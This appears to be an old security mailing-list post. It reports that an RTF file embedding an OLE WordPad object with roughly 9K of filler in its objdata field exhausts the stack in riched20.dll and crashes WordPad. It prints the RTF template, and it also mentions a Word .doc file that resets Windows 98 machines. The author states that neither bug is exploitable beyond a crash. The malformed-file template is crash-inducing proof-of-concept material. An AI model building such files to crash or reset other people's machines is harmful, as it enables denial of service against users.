Well, I find SOME ways to CRASH (no exploit possibly), in another place in
the format rft, in the richie20.dll, making a EATER OF STACK,
Inside in the rtf file,

One rtf inside of another with OLE, the ole(wordpad), crash , with a STACK
OVERFLOW EXCEPTION FILTER,

EXAMPLE RTF CODE:

{\rtf1\ansi\ansicpg1252\deff0\deftab720{\fonttbl{\f0\fswiss MS Sans
Serif;}{\f1
\froman\fcharset2 Symbol;}{\f2\froman Times New Roman;}{\f3\froman Times New
Ro
man;}}
{\colortbl\red0\green0\blue0;}
\deflang1033\horzdoc{\*\fchars }{\*\lchars }\pard\plain\f2\fs20
hello!!!!{\obje
ct\objemb{\*\objclass WordPad.Document.1}{\*\objname
Object1}\objw11115\objh293
{\*\objdata
BUFFER)
}}}\plain\f2\fs20 !!!!!!!!!!!!!!!!
\par }

WERE BUFFER IS LIKE 9K OF (123456789ABCDEFGHIJKLMNOPQRSTUVWYZ)



But its just eat the stack, OLE crash, and not are possibly make exploit on
this.

is another example of another bug in ole/riche20.dll all in wordpad.exe


Ussrlabs

I have another example same happen in word files, personally I did a .doc
file, if you run it machine reset in Microsoft word 2000, 97, in windows 98,
and in nt crash and leave word in memory (present) like a memory process
leek, but its just a bug no way to exploit it, the only thing possibly is
reset the machine in windows 98 :).
